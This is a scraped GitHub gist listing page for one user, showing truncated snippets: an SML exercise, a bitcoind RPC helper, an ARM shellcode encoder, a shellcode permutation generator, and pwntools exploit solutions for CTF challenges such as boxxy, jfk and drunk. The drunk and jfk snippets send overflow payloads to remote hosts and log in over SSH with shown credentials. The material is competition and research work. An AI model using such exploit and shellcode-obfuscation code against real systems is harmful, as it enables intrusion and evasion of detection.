Skip to content

Instantly share code, notes, and snippets.

View kokjo's full-sized avatar

Jonas Rudloff kokjo

View GitHub Profile
load "String";
load "Char";
load "Math";
load "List";
load "Listsort";
load "TextIO";
load "Int";
(* Opg 1 *)
(* a *)
@kokjo
kokjo / bitcoin.py
Created May 19, 2013 18:47
Simple and short bitcoind jsonrpc api access.
import jsonrpc
from jsonrpc import ServiceProxy
from os.path import expanduser
conf = {p[0]: p[1].strip() for p in
(l.split("=", 1) for l in open(expanduser("~/.bitcoin/bitcoin.conf")))
if len(p) == 2}
proxy = ServiceProxy("http://%(rpcuser)s:%(rpcpassword)[email protected]:8332"%conf)
info = proxy.getinfo()
@kokjo
kokjo / encoder.py
Created August 28, 2014 16:15
Simple shellcode encoder for arm.
from pwn import *
from random import sample, choice
key = random.randint(0, 2**32)
free_regs = ["r%d" % i for i in range(8)]
key_reg, len_reg, addr_reg, data_reg = sample(free_regs, 4)
if key_reg == "r7": data_reg, key_reg = key_reg, data_reg
reg_dict = {
class VardicSum r where
sums :: Integer -> r
instance VardicSum Integer where
sums x = x
instance (Integral a, VardicSum b) => VardicSum (a -> b) where
sums x y = sums (x + toInteger y)
main = do
@kokjo
kokjo / keybase.md
Created September 28, 2014 11:48
Keybase

Keybase proof

I hereby claim:

  • I am kokjo on github.
  • I am jonasrudloff (https://keybase.io/jonasrudloff) on keybase.
  • I have a public key whose fingerprint is 02EC C7EC 3B68 CD16 73CA 6E7F 934E A12D 1536 A5BA

To claim this, I am signing this object:

@kokjo
kokjo / generate.py
Created January 2, 2015 22:15
proof-of-concept shellcode permutation generator
from random import sample, choice
def parse(text):
parts = {}
deps = {}
lines = text.strip().split("\n")
for line in lines:
lineid, linedeps, content = line.split(";", 2)
lineid = lineid.strip()
linedeps = map(lambda dep: dep.strip(), linedeps.strip().split(","))
@kokjo
kokjo / doit_boxxy.py
Created January 18, 2015 21:33
Solution of boxxy from GITS2015
from pwn import *
context(arch = 'i386', os = 'linux')
elf = ELF('boxxy')
rop = ROP(elf)
libc = ELF("libc.so.6")
libc_rop = ROP(libc)
HOST = 'localhost'
@kokjo
kokjo / doit_jfk.py
Created March 1, 2015 20:01
Solution for jfk from bkpctf
from pwn import *
s = ssh("jfk", "54.152.92.112", password="jfk")
r = s.shell(tty=False)
r.recvuntil("\x00/ $ ")
log.info("VM has booted")
r.sendline("cd /home/supershm")
r.recvuntil("~ $ ")
@kokjo
kokjo / doit_drunk.py
Created March 24, 2015 10:10
Solution for drunk from bcft
from pwn import *
from ctypes import sizeof
ed = elf.datatypes
r = remote("146.148.79.13", 55173)
r.sendline(str(3338240).ljust(80, "\x00")+p32(0x401000))
r.recvrepeat(1)
@MemLeak
def leak(addr):
#include <stdio.h>
int main(int argc, char **argv){
long int a=0,b=0,c=0,d=0;
scanf("0x%lx 0x%lx", &a, &b);
scanf("0x%lx 0x%lx", &c, &d);
printf("a: 0x%x b: 0x%x c: 0x%x d: 0x%x\n", a,b,c,d);
}